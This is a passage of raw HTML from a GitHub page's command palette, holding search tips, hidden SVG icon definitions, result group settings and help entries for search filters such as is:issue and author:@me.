class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;&quot;,&quot;owner&quot;,&quot;repository&quot;]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:issue to filter to issues </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;owner&quot;,&quot;repository&quot;]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:project to filter to projects </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[&quot;&quot;,&quot;owner&quot;,&quot;repository&quot;]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:open to filter to open content </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="mx-3 my-2 flash flash-error d-flex flex-items-center" data-scope-types="*" data-on-error> <div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> </div> <div class="px-2"> We’ve encountered an error and some results aren't available at this time. Type a new search or try again later. </div> </command-palette-tip> <command-palette-tip class="h4 color-fg-default pl-3 pb-2 pt-3" data-on-empty data-scope-types="*" data-match-mode="[^?]|^$"> No results matched your search </command-palette-tip> <div hidden> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="arrow-right-color-fg-muted"> <svg height="16" class="octicon octicon-arrow-right color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 2.97a.75.75 0 011.06 0l4.25 4.25a.75.75 0 010 1.06l-4.25 4.25a.75.75 0 01-1.06-1.06l2.97-2.97H3.75a.75.75 0 010-1.5h7.44L8.22 4.03a.75.75 0 010-1.06z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="arrow-right-color-fg-default"> <svg height="16" class="octicon octicon-arrow-right color-fg-default" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 2.97a.75.75 0 011.06 0l4.25 4.25a.75.75 0 010 1.06l-4.25 4.25a.75.75 0 01-1.06-1.06l2.97-2.97H3.75a.75.75 0 010-1.5h7.44L8.22 4.03a.75.75 0 010-1.06z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="codespaces-color-fg-muted"> <svg height="16" class="octicon octicon-codespaces color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 1.75C2 .784 2.784 0 3.75 0h8.5C13.216 0 14 .784 14 1.75v5a1.75 1.75 0 01-1.75 1.75h-8.5A1.75 1.75 0 012 6.75v-5zm1.75-.25a.25.25 0 00-.25.25v5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25v-5a.25.25 0 00-.25-.25h-8.5zM0 11.25c0-.966.784-1.75 1.75-1.75h12.5c.966 0 1.75.784 1.75 1.75v3A1.75 1.75 0 0114.25 16H1.75A1.75 1.75 0 010 14.25v-3zM1.75 11a.25.25 0 00-.25.25v3c0 .138.112.25.25.25h12.5a.25.25 0 00.25-.25v-3a.25.25 0 00-.25-.25H1.75z"></path><path fill-rule="evenodd" d="M3 12.75a.75.75 0 01.75-.75h.5a.75.75 0 010 1.5h-.5a.75.75 0 01-.75-.75zm4 0a.75.75 0 01.75-.75h4.5a.75.75 0 010 1.5h-4.5a.75.75 0 01-.75-.75z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="copy-color-fg-muted"> <svg height="16" class="octicon octicon-copy color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="dash-color-fg-muted"> <svg height="16" class="octicon octicon-dash color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 7.75A.75.75 0 012.75 7h10a.75.75 0 010 1.5h-10A.75.75 0 012 7.75z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="file-color-fg-muted"> <svg height="16" class="octicon octicon-file color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 00.25-.25V6h-2.75A1.75 1.75 0 019 4.25V1.5H3.75zm6.75.062V4.25c0 .138.112.25.25.25h2.688a.252.252 0 00-.011-.013l-2.914-2.914a.272.272 0 00-.013-.011zM2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0113.25 16h-9.5A1.75 1.75 0 012 14.25V1.75z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="gear-color-fg-muted"> <svg height="16" class="octicon octicon-gear color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.429 1.525a6.593 6.593 0 011.142 0c.036.003.108.036.137.146l.289 1.105c.147.56.55.967.997 1.189.174.086.341.183.501.29.417.278.97.423 1.53.27l1.102-.303c.11-.03.175.016.195.046.219.31.41.641.573.989.014.031.022.11-.059.19l-.815.806c-.411.406-.562.957-.53 1.456a4.588 4.588 0 010 .582c-.032.499.119 1.05.53 1.456l.815.806c.08.08.073.159.059.19a6.494 6.494 0 01-.573.99c-.02.029-.086.074-.195.045l-1.103-.303c-.559-.153-1.112-.008-1.529.27-.16.107-.327.204-.5.29-.449.222-.851.628-.998 1.189l-.289 1.105c-.029.11-.101.143-.137.146a6.613 6.613 0 01-1.142 0c-.036-.003-.108-.037-.137-.146l-.289-1.105c-.147-.56-.55-.967-.997-1.189a4.502 4.502 0 01-.501-.29c-.417-.278-.97-.423-1.53-.27l-1.102.303c-.11.03-.175-.016-.195-.046a6.492 6.492 0 01-.573-.989c-.014-.031-.022-.11.059-.19l.815-.806c.411-.406.562-.957.53-1.456a4.587 4.587 0 010-.582c.032-.499-.119-1.05-.53-1.456l-.815-.806c-.08-.08-.073-.159-.059-.19a6.44 6.44 0 01.573-.99c.02-.029.086-.075.195-.045l1.103.303c.559.153 1.112.008 1.529-.27.16-.107.327-.204.5-.29.449-.222.851-.628.998-1.189l.289-1.105c.029-.11.101-.143.137-.146zM8 0c-.236 0-.47.01-.701.03-.743.065-1.29.615-1.458 1.261l-.29 1.106c-.017.066-.078.158-.211.224a5.994 5.994 0 00-.668.386c-.123.082-.233.09-.3.071L3.27 2.776c-.644-.177-1.392.02-1.82.63a7.977 7.977 0 00-.704 1.217c-.315.675-.111 1.422.363 1.891l.815.806c.05.048.098.147.088.294a6.084 6.084 0 000 .772c.01.147-.038.246-.088.294l-.815.806c-.474.469-.678 1.216-.363 1.891.2.428.436.835.704 1.218.428.609 1.176.806 1.82.63l1.103-.303c.066-.019.176-.011.299.071.213.143.436.272.668.386.133.066.194.158.212.224l.289 1.106c.169.646.715 1.196 1.458 1.26a8.094 8.094 0 001.402 0c.743-.064 1.29-.614 1.458-1.26l.29-1.106c.017-.066.078-.158.211-.224a5.98 5.98 0 00.668-.386c.123-.082.233-.09.3-.071l1.102.302c.644.177 1.392-.02 1.82-.63.268-.382.505-.789.704-1.217.315-.675.111-1.422-.364-1.891l-.814-.806c-.05-.048-.098-.147-.088-.294a6.1 6.1 0 000-.772c-.01-.147.039-.246.088-.294l.814-.806c.475-.469.679-1.216.364-1.891a7.992 7.992 0 00-.704-1.218c-.428-.609-1.176-.806-1.82-.63l-1.103.303c-.066.019-.176.011-.299-.071a5.991 5.991 0 00-.668-.386c-.133-.066-.194-.158-.212-.224L10.16 1.29C9.99.645 9.444.095 8.701.031A8.094 8.094 0 008 0zm1.5 8a1.5 1.5 0 11-3 0 1.5 1.5 0 013 0zM11 8a3 3 0 11-6 0 3 3 0 016 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="lock-color-fg-muted"> <svg height="16" class="octicon octicon-lock color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 4v2h-.25A1.75 1.75 0 002 7.75v5.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-5.5A1.75 1.75 0 0012.25 6H12V4a4 4 0 10-8 0zm6.5 2V4a2.5 2.5 0 00-5 0v2h5zM12 7.5h.25a.25.25 0 01.25.25v5.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-5.5a.25.25 0 01.25-.25H12z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="moon-color-fg-muted"> <svg height="16" class="octicon octicon-moon color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M9.598 1.591a.75.75 0 01.785-.175 7 7 0 11-8.967 8.967.75.75 0 01.961-.96 5.5 5.5 0 007.046-7.046.75.75 0 01.175-.786zm1.616 1.945a7 7 0 01-7.678 7.678 5.5 5.5 0 107.678-7.678z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="person-color-fg-muted"> <svg height="16" class="octicon octicon-person color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M10.5 5a2.5 2.5 0 11-5 0 2.5 2.5 0 015 0zm.061 3.073a4 4 0 10-5.123 0 6.004 6.004 0 00-3.431 5.142.75.75 0 001.498.07 4.5 4.5 0 018.99 0 .75.75 0 101.498-.07 6.005 6.005 0 00-3.432-5.142z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="pencil-color-fg-muted"> <svg height="16" class="octicon octicon-pencil color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M11.013 1.427a1.75 1.75 0 012.474 0l1.086 1.086a1.75 1.75 0 010 2.474l-8.61 8.61c-.21.21-.47.364-.756.445l-3.251.93a.75.75 0 01-.927-.928l.929-3.25a1.75 1.75 0 01.445-.758l8.61-8.61zm1.414 1.06a.25.25 0 00-.354 0L10.811 3.75l1.439 1.44 1.263-1.263a.25.25 0 000-.354l-1.086-1.086zM11.189 6.25L9.75 4.81l-6.286 6.287a.25.25 0 00-.064.108l-.558 1.953 1.953-.558a.249.249 0 00.108-.064l6.286-6.286z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="issue-opened-open"> <svg height="16" class="octicon octicon-issue-opened open" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="git-pull-request-draft-color-fg-muted"> <svg height="16" class="octicon octicon-git-pull-request-draft color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.25 1a2.25 2.25 0 00-.75 4.372v5.256a2.251 2.251 0 101.5 0V5.372A2.25 2.25 0 003.25 1zm0 11a.75.75 0 100 1.5.75.75 0 000-1.5zm9.5 3a2.25 2.25 0 100-4.5 2.25 2.25 0 000 4.5zm0-3a.75.75 0 100 1.5.75.75 0 000-1.5z"></path><path d="M14 7.5a1.25 1.25 0 11-2.5 0 1.25 1.25 0 012.5 0zm0-4.25a1.25 1.25 0 11-2.5 0 1.25 1.25 0 012.5 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="search-color-fg-muted"> <svg height="16" class="octicon octicon-search color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="sun-color-fg-muted"> <svg height="16" class="octicon octicon-sun color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 10.5a2.5 2.5 0 100-5 2.5 2.5 0 000 5zM8 12a4 4 0 100-8 4 4 0 000 8zM8 0a.75.75 0 01.75.75v1.5a.75.75 0 01-1.5 0V.75A.75.75 0 018 0zm0 13a.75.75 0 01.75.75v1.5a.75.75 0 01-1.5 0v-1.5A.75.75 0 018 13zM2.343 2.343a.75.75 0 011.061 0l1.06 1.061a.75.75 0 01-1.06 1.06l-1.06-1.06a.75.75 0 010-1.06zm9.193 9.193a.75.75 0 011.06 0l1.061 1.06a.75.75 0 01-1.06 1.061l-1.061-1.06a.75.75 0 010-1.061zM16 8a.75.75 0 01-.75.75h-1.5a.75.75 0 010-1.5h1.5A.75.75 0 0116 8zM3 8a.75.75 0 01-.75.75H.75a.75.75 0 010-1.5h1.5A.75.75 0 013 8zm10.657-5.657a.75.75 0 010 1.061l-1.061 1.06a.75.75 0 11-1.06-1.06l1.06-1.06a.75.75 0 011.06 0zm-9.193 9.193a.75.75 0 010 1.06l-1.06 1.061a.75.75 0 11-1.061-1.06l1.06-1.061a.75.75 0 011.061 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="sync-color-fg-muted"> <svg height="16" class="octicon octicon-sync color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 2.5a5.487 5.487 0 00-4.131 1.869l1.204 1.204A.25.25 0 014.896 6H1.25A.25.25 0 011 5.75V2.104a.25.25 0 01.427-.177l1.38 1.38A7.001 7.001 0 0114.95 7.16a.75.75 0 11-1.49.178A5.501 5.501 0 008 2.5zM1.705 8.005a.75.75 0 01.834.656 5.501 5.501 0 009.592 2.97l-1.204-1.204a.25.25 0 01.177-.427h3.646a.25.25 0 01.25.25v3.646a.25.25 0 01-.427.177l-1.38-1.38A7.001 7.001 0 011.05 8.84a.75.75 0 01.656-.834z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="trash-color-fg-muted"> <svg height="16" class="octicon octicon-trash color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M6.5 1.75a.25.25 0 01.25-.25h2.5a.25.25 0 01.25.25V3h-3V1.75zm4.5 0V3h2.25a.75.75 0 010 1.5H2.75a.75.75 0 010-1.5H5V1.75C5 .784 5.784 0 6.75 0h2.5C10.216 0 11 .784 11 1.75zM4.496 6.675a.75.75 0 10-1.492.15l.66 6.6A1.75 1.75 0 005.405 15h5.19c.9 0 1.652-.681 1.741-1.576l.66-6.6a.75.75 0 00-1.492-.149l-.66 6.6a.25.25 0 01-.249.225h-5.19a.25.25 0 01-.249-.225l-.66-6.6z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="key-color-fg-muted"> <svg height="16" class="octicon octicon-key color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M6.5 5.5a4 4 0 112.731 3.795.75.75 0 00-.768.18L7.44 10.5H6.25a.75.75 0 00-.75.75v1.19l-.06.06H4.25a.75.75 0 00-.75.75v1.19l-.06.06H1.75a.25.25 0 01-.25-.25v-1.69l5.024-5.023a.75.75 0 00.181-.768A3.995 3.995 0 016.5 5.5zm4-5.5a5.5 5.5 0 00-5.348 6.788L.22 11.72a.75.75 0 00-.22.53v2C0 15.216.784 16 1.75 16h2a.75.75 0 00.53-.22l.5-.5a.75.75 0 00.22-.53V14h.75a.75.75 0 00.53-.22l.5-.5a.75.75 0 00.22-.53V12h.75a.75.75 0 00.53-.22l.932-.932A5.5 5.5 0 1010.5 0zm.5 6a1 1 0 100-2 1 1 0 000 2z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="comment-discussion-color-fg-muted"> <svg height="16" class="octicon octicon-comment-discussion color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 2.75a.25.25 0 01.25-.25h8.5a.25.25 0 01.25.25v5.5a.25.25 0 01-.25.25h-3.5a.75.75 0 00-.53.22L3.5 11.44V9.25a.75.75 0 00-.75-.75h-1a.25.25 0 01-.25-.25v-5.5zM1.75 1A1.75 1.75 0 000 2.75v5.5C0 9.216.784 10 1.75 10H2v1.543a1.457 1.457 0 002.487 1.03L7.061 10h3.189A1.75 1.75 0 0012 8.25v-5.5A1.75 1.75 0 0010.25 1h-8.5zM14.5 4.75a.25.25 0 00-.25-.25h-.5a.75.75 0 110-1.5h.5c.966 0 1.75.784 1.75 1.75v5.5A1.75 1.75 0 0114.25 12H14v1.543a1.457 1.457 0 01-2.487 1.03L9.22 12.28a.75.75 0 111.06-1.06l2.22 2.22v-2.19a.75.75 0 01.75-.75h1a.25.25 0 00.25-.25v-5.5z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="bell-color-fg-muted"> <svg height="16" class="octicon octicon-bell color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="bell-slash-color-fg-muted"> <svg height="16" class="octicon octicon-bell-slash color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1.5c-.997 0-1.895.416-2.534 1.086A.75.75 0 014.38 1.55 5 5 0 0113 5v2.373a.75.75 0 01-1.5 0V5A3.5 3.5 0 008 1.5zM4.182 4.31L1.19 2.143a.75.75 0 10-.88 1.214L3 5.305v2.642a.25.25 0 01-.042.139L1.255 10.64A1.518 1.518 0 002.518 13h11.108l1.184.857a.75.75 0 10.88-1.214l-1.375-.996a1.196 1.196 0 00-.013-.01L4.198 4.321a.733.733 0 00-.016-.011zm7.373 7.19L4.5 6.391v1.556c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01.015.015 0 00.005.012.017.017 0 00.006.004l.007.001h9.037zM8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="paintbrush-color-fg-muted"> <svg height="16" class="octicon octicon-paintbrush color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M11.134 1.535C9.722 2.562 8.16 4.057 6.889 5.312 5.8 6.387 5.041 7.401 4.575 8.294a3.745 3.745 0 00-3.227 1.054c-.43.431-.69 1.066-.86 1.657a11.982 11.982 0 00-.358 1.914A21.263 21.263 0 000 15.203v.054l.75-.007-.007.75h.054a14.404 14.404 0 00.654-.012 21.243 21.243 0 001.63-.118c.62-.07 1.3-.18 1.914-.357.592-.17 1.226-.43 1.657-.861a3.745 3.745 0 001.055-3.217c.908-.461 1.942-1.216 3.04-2.3 1.279-1.262 2.764-2.825 3.775-4.249.501-.706.923-1.428 1.125-2.096.2-.659.235-1.469-.368-2.07-.606-.607-1.42-.55-2.069-.34-.66.213-1.376.646-2.076 1.155zm-3.95 8.48a3.76 3.76 0 00-1.19-1.192 9.758 9.758 0 011.161-1.607l1.658 1.658a9.853 9.853 0 01-1.63 1.142zM.742 16l.007-.75-.75.008A.75.75 0 00.743 16zM12.016 2.749c-1.224.89-2.605 2.189-3.822 3.384l1.718 1.718c1.21-1.205 2.51-2.597 3.387-3.833.47-.662.78-1.227.912-1.662.134-.444.032-.551.009-.575h-.001V1.78c-.014-.014-.112-.113-.548.027-.432.14-.995.462-1.655.942zM1.62 13.089a19.56 19.56 0 00-.104 1.395 19.55 19.55 0 001.396-.104 10.528 10.528 0 001.668-.309c.526-.151.856-.325 1.011-.48a2.25 2.25 0 00-3.182-3.182c-.155.155-.329.485-.48 1.01a10.515 10.515 0 00-.309 1.67z"></path></svg> </div> <command-palette-item-group data-group-id="top" data-group-title="Top result" data-group-hint="" data-group-limits="{}" data-default-priority="0" > </command-palette-item-group> <command-palette-item-group data-group-id="commands" data-group-title="Commands" data-group-hint="Type &gt; to filter" data-group-limits="{&quot;static_items_page&quot;:50,&quot;issue&quot;:50,&quot;pull_request&quot;:50,&quot;discussion&quot;:50}" data-default-priority="1" > </command-palette-item-group> <command-palette-item-group data-group-id="global_commands" data-group-title="Global Commands" data-group-hint="Type &gt; to filter" data-group-limits="{&quot;issue&quot;:0,&quot;pull_request&quot;:0,&quot;discussion&quot;:0}" data-default-priority="2" > </command-palette-item-group> <command-palette-item-group data-group-id="this_page" data-group-title="This Page" data-group-hint="" data-group-limits="{}" data-default-priority="3" > </command-palette-item-group> <command-palette-item-group data-group-id="files" data-group-title="Files" data-group-hint="" data-group-limits="{}" data-default-priority="4" > </command-palette-item-group> <command-palette-item-group data-group-id="default" data-group-title="Default" data-group-hint="" data-group-limits="{&quot;static_items_page&quot;:50}" data-default-priority="5" > </command-palette-item-group> <command-palette-item-group data-group-id="pages" data-group-title="Pages" data-group-hint="" data-group-limits="{&quot;repository&quot;:10}" data-default-priority="6" > </command-palette-item-group> <command-palette-item-group data-group-id="access_policies" data-group-title="Access Policies" data-group-hint="" data-group-limits="{}" data-default-priority="7" > </command-palette-item-group> <command-palette-item-group data-group-id="organizations" data-group-title="Organizations" data-group-hint="" data-group-limits="{}" data-default-priority="8" > </command-palette-item-group> <command-palette-item-group data-group-id="repositories" data-group-title="Repositories" data-group-hint="" data-group-limits="{}" data-default-priority="9" > </command-palette-item-group> <command-palette-item-group data-group-id="references" data-group-title="Issues, pull requests, and discussions" data-group-hint="Type # to filter" data-group-limits="{}" data-default-priority="10" > </command-palette-item-group> <command-palette-item-group data-group-id="teams" data-group-title="Teams" data-group-hint="" data-group-limits="{}" data-default-priority="11" > </command-palette-item-group> <command-palette-item-group data-group-id="users" data-group-title="Users" data-group-hint="" data-group-limits="{}" data-default-priority="12" > </command-palette-item-group> <command-palette-item-group data-group-id="projects" data-group-title="Projects" data-group-hint="" data-group-limits="{}" data-default-priority="13" > </command-palette-item-group> <command-palette-item-group data-group-id="footer" data-group-title="Footer" data-group-hint="" data-group-limits="{}" data-default-priority="14" > </command-palette-item-group> <command-palette-item-group data-group-id="modes_help" data-group-title="Modes" data-group-hint="" data-group-limits="{}" data-default-priority="15" > </command-palette-item-group> <command-palette-item-group data-group-id="filters_help" data-group-title="Use filters in issues, pull requests, discussions, and projects" data-group-hint="" data-group-limits="{}" data-default-priority="16" > </command-palette-item-group> <command-palette-page data-page-title="chikitang" data-scope-id="U_kgDOBmIdJQ" data-scope-type="owner" data-targets="command-palette-page-stack.defaultPages" hidden > </command-palette-page> </div> <command-palette-page data-is-root> </command-palette-page> <command-palette-page data-page-title="chikitang" data-scope-id="U_kgDOBmIdJQ" data-scope-type="owner" > </command-palette-page> </command-palette-page-stack> <server-defined-provider data-type="search-links" data-targets="command-palette.serverDefinedProviderElements"></server-defined-provider> <server-defined-provider data-type="help" data-targets="command-palette.serverDefinedProviderElements"> <command-palette-help data-group="modes_help" data-prefix="#" data-scope-types="[&quot;&quot;]" > <span data-target="command-palette-help.titleElement">Search for <strong>issues</strong> and <strong>pull requests</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">#</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="#" data-scope-types="[&quot;owner&quot;,&quot;repository&quot;]" > <span data-target="command-palette-help.titleElement">Search for <strong>issues, pull requests, discussions,</strong> and <strong>projects</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">#</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="@" data-scope-types="[&quot;&quot;]" > <span data-target="command-palette-help.titleElement">Search for <strong>organizations, repositories,</strong> and <strong>users</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">@</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="!" data-scope-types="[&quot;owner&quot;,&quot;repository&quot;]" > <span data-target="command-palette-help.titleElement">Search for <strong>projects</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">!</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="/" data-scope-types="[&quot;repository&quot;]" > <span data-target="command-palette-help.titleElement">Search for <strong>files</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">/</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="&gt;" > <span data-target="command-palette-help.titleElement">Activate <strong>command mode</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">&gt;</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# author:@me" > <span data-target="command-palette-help.titleElement">Search your issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># author:@me</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# author:@me" > <span data-target="command-palette-help.titleElement">Search your issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># author:@me</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:pr" > <span data-target="command-palette-help.titleElement">Filter to pull requests</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:pr</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:issue" > <span data-target="command-palette-help.titleElement">Filter to issues</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:issue</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:discussion" data-scope-types="[&quot;owner&quot;,&quot;repository&quot;]" > <span data-target="command-palette-help.titleElement">Filter to discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:discussion</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:project" data-scope-types="[&quot;owner&quot;,&quot;repository&quot;]" > <span data-target="command-palette-help.titleElement">Filter to projects</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:project</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:open" > <span data-target="command-palette-help.titleElement">Filter to open issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:open</kbd> </span> </command-palette-help> </server-defined-provider> <server-defined-provider data-type="commands" data-fetch-debounce="0" data-src="/command_palette/commands" data-supported-modes="[]" data-supports-commands data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/jump_to_page_navigation" data-supported-modes="[&quot;&quot;]" data-supported-scope-types="[&quot;&quot;,&quot;owner&quot;,&quot;repository&quot;]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/issues" 